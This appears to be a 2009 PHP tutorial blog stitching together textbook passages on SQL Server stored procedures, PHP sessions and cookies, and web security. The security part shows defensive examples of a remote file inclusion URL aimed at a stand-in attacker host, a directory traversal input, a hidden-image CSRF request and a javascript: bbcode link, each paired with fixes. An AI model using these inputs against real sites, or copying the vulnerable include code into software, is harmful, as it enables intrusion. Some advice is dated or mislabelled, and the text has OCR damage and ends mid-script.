Web Development using PHP and MYSQL and AJAX and JAVASCRIPT,php source code,php5,php web links,php tutorial
Saturday, November 28, 2009
Wednesday, October 7, 2009
Uses for Stored Procedures
? Encapsulation of Queries— One of the first uses I discovered for stored procedures was to encapsulate queries so that I didn't have to worry aboutwhere they were saved, and I could execute them from anywhere on the network. The first queries I wrote were simple SELECT statements that returned extremely simple information. At that time, the only query tool available to the users of the system I was working with was ISQL/w, the precursor to Query Analyzer, so I also used stored procedures to roll out the queries to the users. All the users had to do was log in to the system and execute the stored procedure and they would get all the results they needed.
? Parameterized Queries— After I figured out how basic stored procedure worked and mastered the SELECT statement, the next thing that I did was start to work on parameterized queries. These stored procedures accepted one or two parameters and returned a subset of the information in the tables in which the user was interested. This enabled the users to return only those results that were important to them.
? Encapsulation of Data Modification Statements— Another great use of stored procedures is to encapsulate data modification statements. When you type data modification statements into a query window and execute them,there is a possibility that you will mistype something and cause severe problems in the database. If you encapsulate the data modification statements into a stored procedure that has been adequately tested, you are able to better control the statement and limit the amount of damage that can be done in the statement.
? Maintainability of Application Logic— One very widespread use of stored procedures is to use them as a container for application logic. This way, you can maintain all your company's business rules and logic in a single location,which makes them extremely easy to maintain. If a business rule changes, all you have to do is change the code in the stored procedure, and all users would have the new code.
? Standardization— If you roll all the data access, data modification, and
business logic statements into stored procedures, you are virtually guaranteed that all access to your database will be standardized. That means if a user accesses a particular table, you know exactly what he is doing and how he is doing it.
? Ease of Troubleshooting— This point closely follows the previous point. If you standardize all your database access through a common set of stored procedures, troubleshooting is much easier. This ease is because you have only one place to look to find the problems and, when the problem is fixed,one place to roll the changes to.
? Security— One of the best, but least implemented, uses for stored procedures is as a security measure. If you create a stored procedure that accesses a table, you can revoke access to that table; the only way your users can access that table is through the stored procedure you've created.This is an extremely powerful method for locking down the server andkeeping users from accessing information they aren't supposed to.
? Automation of Administration Tasks— The most fun and most types of stored procedures to write (for me at least) are procedures that assist in the automation of the SQL Server. Like system stored procedures,the core set of procedures installed with SQL Server, these procedures are used to perform low-level system functions and to return information about the server and the objects on the server. I call these procedures utility stored procedures. Later in this book, I present some of the most useful utility stored procedures that I have written for you to use and learn from.
Relational Database Management Systems
? As its name implies, the purpose of an RDBMS is to manage relational databases. A relational database is a grouping of tables. The tables are broken down into rows, also known as records, and the records are broken down into columns, also known as fields. Without these, you would have nothing to manage.
? All RDBMSs use SQL, or a variation of it, to manipulate the data contained in any of the databases. SQL (correctly pronounced S-Q-L) was developed at IBM in the late 1970s.
? RDBMSs must maintain data integrity. In other words, every relational database needs to ensure that if data in multiple tables is updated, all the updates take place. For example, imagine a banking system that contains two tables: one for your savings account and one for your checking account. You call your bank and ask to transfer $100 from savings to checking. This process involves subtracting $100 from your savings account and adding $100 to your checking account. If the bank loses power after the $100 is deleted from the table, what happens? If there is no data integrity, you have just lost $100. With data integrity, when the server is powered back on, the RDBMS realizes that the subtraction completed but that the addition didn't,and it cancels the whole transaction.
? Most RDBMSs strive to maintain separation between the actual data and the business logic that ensures that the data in the database is maintained in a constant state. In most cases, you will want to try to limit the amount of business functionality that you maintain in the database server.
? Many RDBMSs store data in such a way that redundant data is eliminated through some of type of compression. That doesn't mean data is lost—rather,it means that less storage space is needed.
? All RDBMSs provide some sort of security for the databases they manage.This security is usually at least a two-level process. First, any user who wants to access the system must identify herself with a valid login and password.When she passes this level of authentication, most systems have rules, called permissions, that block a user from accessing data to which she shouldn't have access.
SQL Server in Business Today
?Customer Relationship Management (CRM) Software— A number of CRM packages on the market have been designed to take advantage of SQL Server in combination with other Microsoft products such as Exchange and Outlook. CRM products track customer information and all contact that has been made with the customers.
? Data Collection Systems— These applications are designed to capture realtime information and store it away for later processing and summarization.These systems usually require extremely high availability and reliability. To produce these types of results, SQL Server Enterprise Edition used with Windows NT Enterprise Edition in a clustered environment provides a platform with built-in redundancy and support for automatic failover.
?Data Warehouses— A data warehouse stores a large collection of data that can be analyzed for trends that are useful to the company that owns the data.For example, a simple data warehouse could show a company's inventory manager how a specific product has sold during a specific week over the past few years so that when the week in question rolls around, enough of that product is on hand to meet the projected need.Data warehouses were all the rage a few years ago. Support for data
warehouses dwindled because of the large investment it took to create them and their immense size. Smaller data warehouses, known as data marts, have lately begun to reemerge to provide this important information to companies that choose to implement them. SQL Server is a great choice for these types of applications because of built-in OLAP (Online Analytical Processing)support.
? E-Commerce— The surge in popularity of the Internet over the past few years has brought about a new way for companies to buy and sell products.Many companies have chosen SQL Server as the platform they base their ecommerce engines on because of its stability, high availability, and low cost.
SQL Server's History
released. This version made some small advances in the marketplace, but still didn't
have what it needed to make it an enterprise-class RDBMS. Microsoft and Sybase went their separate ways in 1994, and shortly afterward Microsoft released SQL Server 6.0. In 1996, SQL Server 6.5 was released. This version of SQL Server succeeded in the marketplace primarily because it had the speed, power, ease-ofuse, and low cost that purchasers and IT staffers were looking for.
In addition to the features that administrators were looking for, part of SQL Server'ssuccess has to do with the direction that the marketplace took around the same time that SQL Server 6.5 was released. For the most part, the market was moving towardfaster and cheaper Intel-based servers running Windows NT Server. This meant that,on abandoning other platforms, when there was a need for an RDBMS, SQL Server
became the natural selection.
SQL Server 7.0, released in early 1999, moved SQL Server into the enterprise database arena. Although previous versions of SQL Server contained large amounts of the original Sybase code, SQL Server 7.0 is said to be 100% Microsoft code.It's even said that Microsoft developers threw a party when the final lines of original code were removed. If SQL Server 7.0 is not a complete rewrite, it is pretty close.The latest version, SQL Server 2000, allows Microsoft to step a little further into the
enterprise database arena. It has a large amount of new features that make it a stronger competitor of the largest, most widely accepted enterprise database—Oracle. SQL Server will probably never completely take over this particular database arena, but it will continue to make strides to do so.
The History of Databases
Saturday, August 1, 2009
PHP Session Management
There are several parameters that can be manipulated to change the behavior of the PHP session management. These parameters are set in the php.ini file in the section headed [Session].
session.save_handler
This parameter specifies the method used by PHP to store and retrieve session variables. The default value is files, to indicate the use of session files, as described in the previous sections. The other values that this parameter can have are: mm to store and retrieve variables from shared memory, and user to store and retrieve variables with user-defined handlers. In Appendix D we describe how to create user-defined handlers to store session variables in a MySQL database.
session.save_path
This parameter specifies the directory in which session files are saved when the session.save_handler is set to files. The default value is /tmp. When implementing user-defined save_handler methods, the value of this parameter is passed as an argument to the function that opens a session.
session.use_cookies
This parameter determines if PHP sets a cookie to hold the session ID. Setting this parameter to 0 stops PHP from setting cookies and may be considered for the reasons discussed in the previous section. The default value is 1, meaning that a cookie stores the session ID.
session.name
This parameter controls the name of the cookie, GET attribute, or POST attribute that is used to hold the session ID. The default is PHPSESSID, and there is no reason to change this setting unless there is a name collision with another variable.
session.auto_start
With the default value of 0 for this setting, PHP initializes a session only when a session call such as session_start( ) or session_register( ) is made. If this parameter is set to 1, sessions are automatically initialized if a session ID is found in the request. Allowing sessions to autostart adds unnecessary overhead if session values aren't required for all scripts.
session.cookie_lifetime
This parameter holds the life of a session cookie in seconds and is used by PHP when setting the expiry date and time of a cookie. The default value of 0 sets up a session cookie that lasts only while the browser program is running. Setting this value to a number of seconds other than 0 sets up the cookie with an expiry date and time. The expiry date and time of the cookie is set as an absolute date and time, calculated by adding the cookie_lifetime value to the current date and time on the server machine.[2]
[2] The actual expiry of the cookie is performed by the browser, which compares the expiry date and time of the cookie with the client machine's date and time. If the date and time are incorrectly set on the client, a cookie might expire immediately or persist longer than expected.
session.cookie_path
This parameter sets the valid path for a cookie. The default value is /, which means that browsers include the session cookie in requests for resources in all paths for the cookie's domain. Setting this value to the path of the session-based scripts can reduce the number of requests that need to include the cookie. For example, setting the parameter to /winestore instructs the browser to include the session cookie only with requests that start with http://www.webdatabasebook.com/winestore/.
session.cookie_domain
This parameter can override the domain for which the cookie is valid. The default is a blank string, meaning that the cookie is set with the domain of the machine running the web server, and the browser includes the cookie only in requests sent to that domain.
session.cookie_secure
This parameter sets the secure flag of a cookie, which prevents a browser from sending the session cookie over nonencrypted connections. When this setting is 1, the browser sends the session cookie over a network connection that is protected using the Secure Sockets Layer, SSL. We discuss SSL in the next chapter and provide installation instructions in Appendix A. The default value of 0 allows a browser to send the session cookie over encrypted and nonencrypted services.
session.serialize_handler
This parameter sets up the method by which variables are serialized, that is, how they are converted into a stream of bytes suitable for the chosen session store. The default value is php, which indicates use of the standard PHP serialization functions. An alternative is wddx, which uses the WDDX libraries that encode variables as XML.
session.gc_probability
This parameter determines the probability that the garbage collection process will be performed when a session is initialized. The default value of 1 sets a 1% chance of garbage collection. See the discussion in the previous section for a full explanation of garbage collection.
session.gc_maxlifetime
This parameter sets the life of a session in number of seconds. The default value is 1440, or 24 minutes. Garbage collection destroys a session that has been inactive for this period. See the discussion in the previous section for a full explanation of garbage collection.
session.referer_check
This parameter can restrict the creation of sessions to requests that have the HTTP Referer: header field set. This is a useful feature if access to an application is allowed only by following a hypertext link from a particular page such as a welcome page. If the HTTP Referer header field doesn't match the value of this parameter, PHP creates a session, but the session is marked as invalid and unusable. The default value of a blank string applies no restriction.
session.entropy_file
PHP generates the session IDs from a random number seeded by the system date and time. Because the algorithm is known-it can be looked up in the PHP source code-it makes guessing session IDs a little easier. If this parameter is set to the name of a file, the first n bytes from that file (where n is specified by the session.entropy_length parameter) make the ID less predictable. The default value is left blank, meaning the default seeding method is used. One alternative is to use /dev/urandom, a special Unix device that produces a pseudorandom number.
session.entropy_length
This parameter is the number of bytes to use when generating a session ID from the file specified by session.entropy_file. The default value is 0, the required value when no entropy file is set.
session.cache_limiter
This parameter controls how responses can be cached by the browser. The default is nocache, meaning that PHP sets up the HTTP response to avoid browser caching. PHP sets the HTTP/1.1-defined header field Cache-Control to no-cache, the HTTP/1.0 header field Pragma to no-cache, and-for good measure-the Expires header field to Thu, 19 Nov 1981 08:52:00 GMT. Applications that use sessions-and even stateless web database applications-can be adversely affected when browsers cache pages. The other values allowed, private and public, allow responses to be cached. The distinction between private and public is apparent when a proxy server caches responses. See Appendix B for more details about HTTP caching.
session.cache_expire
This parameter is used when caching is allowed; it sets the expiry date and time of the response to be the current system time plus the parameter value in minutes. The default value is 180.
• In Web applications, it is frequently desirable to:
– Remember if a user has visited a site previously
– Remember the sequence of pages visited during a session
– Associate information with a user session
• Like a shopping basket
• To accomplish these things, need to have “stateful” connections between client and server
– That is, association information (state) with the connection
– HTTP was originally designed to not be stateful,leading to the addition of the Cookie mechanism
Cookies
• A mechanism for adding state to HTTP requests.
• Permits name, value pairs to be preserved across multiple HTTP requests.
• Basic approach:
– Server sends a Set-Cookie HTTP header in its response.
– Value of the header includes name, value pairs.
– The client stores the name, value pairs, and proactively sends them to the server (in the Cookie header) with every request thereafter.
– The Cookie protocol piggybacks on top of HTTP
• Information flow is in the reverse direction of most HTTP requests
client server
GET
200 OK // Set-Cookie: name=“value”; name=“value”
GET Cookie: name=“value”; name=“value”
Cookies in PHP
• How Cookies are set in PHP:
– Use built-in setcookie() function. Most simple form is:
– setcookie(name, value)
• It is also possible to specify when the cookie will expire, the URL path and domain for which it applies (defaults to those of request URI).
• Accessing Cookie values:
– $local_variable = $_COOKIE[name]
• To delete a cookie, use setcookie with the same cookie name, and an expiration value in the past.
Problems with Cookies
• Problems with Cookies
– Browsers can refuse to accept cookies.
– Additionally, it adds network overhead to send lots of information back and forth.
– There are also limits to the amount of information that can be sent
– Some information you just don’t want to save on the client’s computer.
PHP Sessions
• The solution: store session information on the server,and have the client only store an identifier for its information as stored on the server.
• The identifier is known as a session ID. The session ID is stored using a cookie (can be passed as a GET parameter as well)
• The server then uses the session ID to retrieve the information it has stored on the server.
• Session information is typically stored in files on theserver, though options
exist for using shared memory,and also writing your own handlers (e.g., to use a
database for storage)
Using Sessions in PHP
• To start a session:
– session_start()
– Creates a session identifier
– Session identifier is passed between client and server either as a Cookie, or in GET parameters
• Then, can create, access, and modify session variables:
– $_SESSION[session_var_name] = value;
– $_SESSION is only available once you call session_start()
– $local_variable = $_SESSION[session_var_name];
– Can check if session variable is set by using isset();
• To end a session:
– session_destroy();
Security of Session Data
• In general, cannot guarantee that session data will remain private
• Often, the session data files can be read by any web application on the same server
• The session ID can be grabbed by looking at the GET parameters (for GET-based passing of the session ID),or by eavesdropping the on-the-wire protocol (to get the
cookie with the session ID)
– If the session holds a password, someone can then “replay” the session ID back to the server
• Cookie data, though stored on the client side, are sent across the wire n-the-clear
– Client machines might be compromised, such as by malicious
software inadvertently downloaded, or by a virus
Cross-Site Scripting (XSS)
Cross-Site Scripting, abbreviated XSS, is another common security issue. This
issue is relevant whenever content that comes from the user will be redisplayed
on the screen. It is essentially when Javascript is injected into the HTML source.
We could for instance imaging a forum. On a forum users will be able to post
messages that will be displayed for other users. We want the users to be able
to format their messages and HTML is just perfect for that, right? There is
just a minor problem. . . Not all users are equally nice. The same kind of people that might want to drop the school's student table from the previous section
might also want to do something here. Speci_cally what they might want to
do is insert Javascript into the source. This might be for various purposes. It
could be simply for annoying by creating an in_nite loop of alert messages which
would force the user to shutdown the browser or it could be redirecting the users
to websites such as goatse or tubgirl (you might not want to check what it is
if you do not already know). Other, more so_sticated attacks, could be writing
a keylogger that logs and sends keystrokes (such as passwords) to an external
website or the injected Javascript could be retrieving the users' cookies (more
on the latter later in this tutorial).
XSS protection As a matter of fact, this is rather easy to protect yourself from as well.
PHP has a nifty function that is useful in this instance which is called htmlentities().
It will simply convert characters which have a meaning in HTML to their cor-
responding entities. For instance, HTML tags start with a lower-than sign and
that particular character will be converted to <. If you care about validation of your HTML (and you should!) then this will also help along with that.
We just have one problem. Our original example was a forum system and we wanted to give the users the opportunity to format their posts. However,the _x we just implemented removed this opportunity so we need to give them an alternate one. One with which we can control what they may do and not do.
A common feature is called bbcodes. It has a syntax very similar to HTML and
I am quite sure you are familiar with it if you have ever frequented any forum.
Be aware though! You might get some additional XSS security holes with some
tags.
A common bbcode tag is the URL tag. We could imagine that someone en-
tered [url=http://www.phpfreaks.com]The best PHP website[/url] which
would be converted to: <a href="http://www.phpfreaks.com">The best PHP
website</a>. At _rst glance there is no issue with allowing that. However,
URLs like javascript:alert('Hi') are also allowed and they will, obviously,
execute the entered Javascript. Similarly, in some lower versions of Internet Ex- plorer (IE6 and below) that URL format is allowed and will execute Javascript
so we have to take care of that as well.
For both the two before mentioned instances we might want to check that
the protocol is one we would allow. It would be better to create a white-list of
allowed protocols instead of creating a black-list of disallowed protocols. Simply select the protocols you want (e.g. http, https and ftp) and disallow all other.
Finally, this XSS cheatsheet might be useful to you. Both when learning
about XSS as well as testing that your application is secure.
Outside File Access
Normally, pages ending with .php will be handled forwarded to PHP by Apache and therefore the code will be hidden from the users. That the source code is hidden is one of the things that characterizes server-side scripting languages such as PHP. However, the PHP module or Apache might fail and the code might be displayed in plain unparsed text to the user. This is definitely not good. First of all, if the source is visible then it is much easier to find security issues in your application. Additionally, some scripts contain configuration files within the document root (the directory in which all files and sub-folders are publicly acessible from the outside world) and those will obviously not be parsed either thus presented to the user if they enter the filename into the URL. Personally I have experienced this before where I was on a small website and suddenly a misconfiguration of some sort displayed the source code to me. The website used a widely used application and I happened to know where the configuration file was. Sure enough, I was able to view that as well and from that I gathered the root password for the server (bad security practice to use the same password for multiple purposes and it is also bad security practice to use the root MySQL user). Being a nice person I did not do anything with it, but other people might not be as nice as I am and if you have the root password for a server then you can essentially do anything with it.
Another instance of this is the popular website Facebook which you have probably heard about in some way or another. What I explained before (server misconfiguration resulting in leaked source code) also has also happened to Face-book. Even big companies with people paid to configure the server apparently sometimes screws up and therefore it is necessary to take some security pre-cautions in order to prevent source leakage if something like that should everhappen (something Facebook apparently did not).
It all has to do with how you layout your directory structure. So, all files within the document root can be retrieved by the user. Therefore we might as well move everything else out of there so people cannot directly access it. This means we might have index.php and some static files such as CSS, Javascript and images laying inside the document root. We can even take it further and do so the only thing that is in index.php is the following:
<?php
require '../public_index.php';
?>
That particular snippet is the only thing the user will ever be able to see
should something happen. So we might have a directory structure that looks
like this:
/application
/controllers
/models
/views
/library
/public_html<-- document root
/index.php
/media
/images
/javascript
/css
/config
/cache
/tmp
/public_index.php
/logs
By laying out your files in this manner you will prevent that people will see
things they are not supposed to see. It is easy to do so there is no reason why
you would not.
Remote File Inclusion
Remote file inclusion attacks (sometimes abbreviated RFI) is a vulnerability
many people probably do not know of, but it is a very serious issue that also
must be addressed. As the name implies, it is when remote files are included,
but what exactly does that? Let us look at an example:
<?php
$page = isset($_GET['page']) ? $_GET['page'] : 'home';
require $page . '.php';
?>This is a very basic front controller that will forward the request to whatever
file that should be responsible for that particular request.
Imagine that at http://example.com/malice.php a file exists and our script
is located at http://site.com/index.php. The attacker will do this request:
http://site.com/index.php?page=http://example.com/malice. This file will get
executed when it is included and it will a write a new file to the disk. This le
could be a shell which would allow people to execute commands to the terminal
from it as well as other things they should not bea ble to. Another thing the
attacker can do is set page to http://example.com/malice.php? (note the end-
ing question mark). That will make whatever follows it part of the query string
and therefore ignored by the server the file is getting included from. Why this is
a security issue should be pretty obvious. People should denitely not be able
to execute whatever commands they want on our server, so how can we prevent
them?
There are a couple of php.ini directives you can use to prevent this:
allow url fopen this directive is set to on by default and it controls whether
remote les should be includable.
allow url include this directive is set to off by default and was introduced in
PHP 5.2. It controls whether the include(), require(), include once()
and require once() should be able to include remote files. In versions
below PHP 5.2 this was also controlled by allow url fopen. Furthermore,
if allow url fopen is set to offthen this directive will be ignored and set
to offas well.
Basically those two directives will enable you to set the required security
settings you will need. Again, no data that is not from the inside of your
system should be trusted. You must validate user input and ensure that people
will not enter malformed or unexpected data.
One of our other administrators, Thomas Johnson, has written a small tu-
torial about how you can use Apache to block RFI attacks called Preventing
remote file include attacks with mod rewrite. You might want to check that out
as well if you are concerned about RFI vulnerabilities.
Session Security
Stealing the session ID
Imagine that you have a key for a vault in your bank. If you have the key
then you can get whatever is in the vault. The session ID works a bit like that.
However, your key for your vault can be stolen and similarly can the session ID
of your users (including you) be stolen or intercepted.
For the record, just because I used a vault/key analogy then it does not mean
that you should put secret or important data of some sort in your sessions.
Earlier we talked about XSS and I mentioned briefly that it could
be used to steal people's cookies. That is the most common way cookies are
stolen. This cookie could be PHPSESSID (or whatever you may have renamed
it to. When you steal a session ID and try to use it again it is called session
fixation. So. . . if you can get a valid session ID and that session is used for
something like authentication then you will essentially be logged in as that
user. Obviously that is not a good thing|especially not if the user is high
ranking with administrative privileges.
Issues with shared hosting
when there are multiple people having their websites hosted on a single server.
On a server with a Linux operating system session data will by default be stored
in the /tmp directory. It is a directory that stores temporary data and it will
obviously have to be readable and writable by everyone. Therefore, if your
session data is stored in there, which it is by default, then the other users can
find it if they look hard enough. This poses the same security issues as with
cookies being stolen using XSS.
Preventing session fixation
Now that we have talked a bit about how the session ID can be stolen then let
us talk a bit about how we can minimize the risk session _xation.
One thing we can do is to change the session ID often. If we do that then the
chance that the intercepted session ID will be valid will be greatly minimized
if that ID changes often. We can use one of PHP' built-in functions called
session regenerate id(). When we call this function the session ID will be,
no surprise, regenerated. The client will simply be informed that the ID has
changed via an HTTP response header called Set-Cookie.
If you are using PHP 5.2+ then you can tell the browser that Javascript
should not be given access to the cookie using a ag called httponly. You can
set this ag using the php.ini directive called session.cookie httponly or
you can use the session set cookie params() function.
Regarding the issue with the shared hosts, the _x is simple: store the data
where only you have access. You can use the directive called session.save path
to set another path for storing them. You can also store them in a database,
but then you will have to write your own handler using the function called
session set save handler().
Cross-site request forgery
Cross-site request forgery (CSRF) is when you trick the user into making a
request they have never made. Imagine that in your application it is possible to
delete users like this: /user/delete/Joe. That would delete the user with the
username \Joe". A malicious user might place this bit of HTML on his website:
<img src="http://example.com/user/delete/Joe" height="1"
width="1" />
This will basically trick the user into making a request to that page without
them knowing it. Obviously only people who are logged in as administrators
should be able to call this URL and therefore it will fail for most users. However,
if a logged in administrator goes to the page where the above piece of HTML is
located then the request will be successfully completed and \Joe" will be gone.
How can we prevent this? Well, in this case we could simply ask the admin
to verify the action with his password before performing it. Yes, I know, this is
kind of like Windows Vista's UAC (User Account Control) that people claim is
incredibly annoying and prompts them to verify their action every _fth millisec-
ond, but sometimes you will, unfortunately, have to add just a little amount of
nuisance in order to keep your application safe.
Had the account come from a form then we could simply require that the
information (in the previous case the username) be submitted using post and
read it like $ POST['username']. However, this adds only a minimum of extra
security. More sophisticated attacks than the above could just as easily trick
the user into performing a POST request instead GET. We could use the \enter
your password" method like before, but we could also use another kind of token.
Imagine this form:
<?php
session_start();
$_SESSION['token'] = uniqid(md5(microtime()), true);
?>
<form action="/delete-user.php" method="post">
<input type="hidden" name="token" value="<?php echo $_SESSION['token'] ?>" />
Username: <input type="text" name="username" />
<button type="submit">Delete user</button>
</form>
Here we have added a hidden _eld called token and stored its content in a
session. On the next page we can do something like this:
<?php
session_start();
if ($_POST['token'] !== $_SESSION['token']) {
die('Invalid token');
}
// form processing here
?>
We simply check that it is a valid token and we have then successfully ensured
that the request did in fact come from the form
Directory traversal
<?php
$page = isset($_GET['page']) ? $_GET['page'] : 'home';
require $page . '.php';
?>
We will just say that this particular file is stored in the following path:
/home/someone/public html/index.php. The attacker could then do: in-
dex.php?page=../secret
That would give us /home/someone/public html/secret.php which would
otherwise have been accessible. I am sure you could think of more dangerous
situations than this particular one.
There are a couple of ways you could prevent this with. First of all you
could have an array of valid pages, e.g.:
$pages = array(
'home',
'login',
'logout',
// etc.
);
if (!in_array($page, $pages) {
die('Invalid page');
}
Another thing you could do is check that the requested file matches a par-
ticular format:
$file = str_replace('\\', '/', realpath($page . '.php'));
if (!preg_match('%^/home/someone/public_html/[a-z]+\.php$%',
$file)) {
die('Invalid page');
}
include $file;
Basically you need to verify that the entered information is valid and con-
forms to what you expected.
How to redirect browser to https (ssl) in php
Most of the e-commerce website uses payment gateway for online payment. And, those sites uses SSL (secure socket layer) connection to transfer data to and from the payment gateway.
In the common scenario, most of the sites uses “http” protocol and you can see “http” in the browser’s address bar. But in the above scenario,we need to redirect the browser to “https” which means that “Hypertext Transfer Protocol over Secure Socket Layer”.
Ok let’s see a real example, type “http://www.gmail.com” in browser after a while the “http” gets converted to “https” in address bar, which means this site is transferring the data over SSL protocal.
How to redirect the browser to https when site is using http protocal in PHP?
First of all, you should know that SSL must be installed in the server. To redirect the browser to “https” , we must know that the site is using SSL or not at the moment. And for this, there is a server variable in PHP called “HTTPS”. $_SERVER['HTTPS'] returns “on” values when the site is using SSL connection.
Function to redirect the browser to “https” in PHP
function redirectToHTTPS()
{ if($_SERVER['HTTPS']!="on") { $redirect= "https://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; header("Location:$redirect");}}Above function is quite simple, you can call the function in that page where you’ve to redirect the browser to “https” .This function will preserver you script file name and query string in browser.
Redirecting whole website to “https” using .htaccess
You can call the above function in each and every page to redirect the browser to “https”. But rather than doing so it will be better to write three line of code in .htaccess file to redirect the whole website to use SSL connection throughout the pages.
RewriteEngine On
RewriteCond %{HTTPS} !on RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}Just copy and paste the above code in .htaccess file then the whole website will be redirected to “https” when the browser is opened in “http” mode.
Saturday, July 25, 2009
Initial php.ini Settings for Session Management
Before you get started with this chapter, you may have to make a couple of minor changes to your php.ini file so that sessions work correctly.
On Windows
If you are using a Windows version of PHP, the first thing you need to do is to edit your php.ini file. The default session setting in php.ini will not work correctly under Windows.
Open your php.ini file, which is found in c:\windows or c:\winnt, in a text editor and search for the line:
session.save_path = /tmp
Change it to a directory in which you keep temporary files, for example:
session.save_path = C:/temp
You could also leave the value as /tmp and create a directory named "tmp" at the root of the drive on which your Web server resides. For example, if your Web server was located in D:/apache/bin, then you could create the directory d:/tmp and you would not have to change the session.save_path setting in php.ini.
A good indication that the session.save_path has not been set correctly on Windows is if Apache crashes when you try to load a session-enabled page.
On Linux
If you are using Linux, you need to make sure that your /tmp directory can be written to by the user who runs the Web processes. Typically this is the user nobody, and most systems, by default, allow the nobody user to write to the /tmp directory.
The rest of the default session settings should work fine for you in the examples in this chapter.
General Considerations
You should not store the session files in any directory which is viewable from your Web serve
Introduction to Session Management in PHP4
Session management allows you to track variables associated with a user for a specific Web session. A Web session is the time that a user spends on pages on your site using the same browser instance. If the user closes the browser (or you explicitly end the session), then the session variables are no longer associated with that user, unless you provide for a way that the variables can be saved and later reassociated with the user.
Sessions are typically tracked by PHP by placing a cookie on the user's browser. The cookie references a session ID, which you can view in your scripts by calling the $PHPSESSID variable. However, using cookies is not a foolproof method to track session variables. Some users may set up their browsers so that they do not accept cookies. In these cases, your session variables cannot be tracked using the cookie method.
PHP supports link rewriting, which gets around the problems in using cookies to store session information. With link rewriting, PHP alters any links on your page so that they automatically include the $PHPSESSID variable. This does make the links look a little messy to the user, but in some cases it is the only way to be sure that you are accurately tracking a user's session.
Starting a Session
session_start();
session_start() takes no arguments. If you are starting a new session, then the function initializes the session and creates the necessary temp files to track the session. If a $PHPSESSID is found by the function, either by a cookie or a GET variable, then the function resumes the current session and the page has access to any variables that have been registered to the session.
Once you have started the session, you need to register some variables with it. The session will not track variables until they have been registered using the session_register() function:
session_register(STRING);
The STRING argument to session_register() should be the name of the variable that you want to register with the session so that it may be accessed across any session-enabled pages.
Once you have started the session and registered one or more variables, you can use those variables across any session enabled pages on your site. Script 2-1, session.php, provides a simple example of starting a session and registering a variable.
1. <?
2. session_start();
3. if(!isset($count)) { 4. session_register("count");5. $count = 1;
6. }
7. ?>
8. You have been to this page <?=$count?> times.
9. <?
10. $count++;
11. ?>
Script 2-1. session.php Line-by-Line Explanation
2
Start the session or continue an existing session.
3
The if statement checks to see if the $count variable has been set. If the $count variable has been set, then the script assumes that this is a continuation of a session and takes no action and the script continues onto line 7.
4
If the $count variable has not been set, then the script assumes that this is the beginning of a new session and registers the variable $count.
5
Since the script has just registered the variable $count in the preceding line, it uses this line to assign a default value of 1 to $count.
8
Display a line of text stating the number of times the page has been viewed.
10
Increment the $count variable by one.
Run this script and click the reload button several times. Notice that the number of times the page has been viewed increases by one each time you reload the page. Figure 2-1 shows an example of this. Closing the browser then reloading the page in a new browser resets the $count to '1', as closing the browser effectively ends the session.
Figure 2-1. session.php
The Contents of Session Files
You can view the actual contents of session variables by looking in the directory specified in the session.save_path setting in your php.ini file. In that directory, you should see a file named something along the lines of "sess_c4a9722c1745304544dc5cc1 b3e08996." The important part is that the file name begins with "sess_." The random string of characters after that is the unique identifier that PHP assigns to each session. If you are on a shared site or you have run any sessions in the past, then there may be several files that look like PHP session files. Try to find the one with the timestamp closest to when you accessed the example, but opening any of the files will give you an idea of how the session variables are stored. Opening the file in a text editor displays the following:
count|i:6;
The actual number displayed in the file will be different, depending on how many times you reloaded the page. The contents of the file display the variable name, followed by a pipe symbol, followed by the variable type identifier—in this case "i" for integer—and finally the value of the variable followed by a semicolon. If you have multiple variables registered in the session, then they would be listed in the order they were registered, separated in most cases by semicolons. For example, if you had two integer variables registered in the session, $count and $day, then they would appear as follows:
count|i:6;day|i:7;
Table 2-1 details some of the common variable types you might see in a typical session. file.
Tracking Variables across Pages during a Session
Now that you know how to start a session and track some variables, how about putting this to some use? There are countless uses for sessions, but the real benefit of sessions is to reduce the amount of work for you and your Web server. Think of a typical site that has registered users. This site may have message boards, feature stories that users can respond to, and various other features that users can choose to enable or disable.
Typically, you'd store these preferences in some sort of database and load the values when the user logs into the site. You need a way to remember these values across each page that the user views. If users don't want to see a Poll feature on one page, then it's safe to assume they don't want to see it on other pages as well. You could query the database each time the user loads a page to see which features should be enabled, or you could store that information in a cookie, but there are drawbacks to each method. Querying the database each time a page loads can lead to some serious server resource problems for large sites. A cookie can only hold one value, so storing cookies for each feature option quickly turns into a coding nightmare: When you have more than one or two features, you'd need a cookie for each one!
This is where sessions can help. You can store multiple values that can be accessed across many pages. You keep the database queries to a minimum by loading the user preferences at the start of the session, and you only need to worry about storing one cookie on the user's browser, eliminating the worry of exceeding the finite number of cookies any one site can store on a browser. If you use PHP's session link rewriting feature, you don't even have to worry about that one cookie!
In this next example, you'll load some default variables into a session as if they were coming from a database query and then verify that the session variables work in Script 2-3, track-prefs2.php. The result will appear in Figure 2-2.
Script 2-2 track_prefs1.php
1. <?
2. session_start();
3. session_register("first"); 4. session_register("last"); 5. session_register("email"); 6. session_register("news_prefs");7. ?>
8. <html>
9. <head>
10. <title>Welcome</title>
11. <style type="text/css">
12. p, ul, h3 {font-family: verdana, helvetica, sans-serif;}13. .enabled {font-weight: bold; color: green;}14. .disabled {font-weight: bold; color: red;}15. </style>
16. </head>
17. <body>
18. <?
19. function load_user_data(){20. global $first, $last, $email, $news_prefs;
21. $first = "Faye";
22. $last = "Valentine";
23. $email = "faye@bebop.com";
24. $news_prefs = array(
25. "Local" => 0,
26. "Nation" => 1,
27. "World" => 1,
28. "Comics" => 0,
29. );
30. }
31. load_user_data();
32. ?>
33. <h3>Welcome</h3>
34. <p>Welcome back <b><?=$first?></b>
35. <p>Your settings have been loaded.
36. <p><a href=track_prefs2.php>View Your Settings</a>.
37. </body>
38. </html>

Script 2-2. track_prefs1.php Line-by-Line Explanation
2
Start the session or continue an existing session.
3–6
Register session variables for use throughout the session.
8–17
Print out the beginning of the HTML page.
19
Declare a new function, load_user_data().
20
Allow the function to use and modify variables in the global scope of the script. These variables correspond to the session variables that were registered earlier in the script.
21–23
Assign some strings to the session variables.
24
Assign an array to the session variable $news_prefs.
25–29
Assign items to the array.
31
Run the load_user_data() function
33–36
Notify the users that their settings have been loaded and provide a link to view the settings.
37–38
Close out the HTML for the page.
Script 2-3 track_prefs2.php
1. <?
2. session_start();
3. ?>
4. <html>
5. <head>
6. <title>View Settings</title>
7. <style type="text/css">
8. p, ul, h3 {font-family: verdana, helvetica, sans-serif;} 9. .enabled {font-weight: bold; color: green;}10. .disabled {font-weight: bold; color: red;}11. </style>
12. </head>
13. <body>
14. <h3>View Your Settings</h3>
15. <p>Hello <b><?=$first?> <?=$last?></b>,
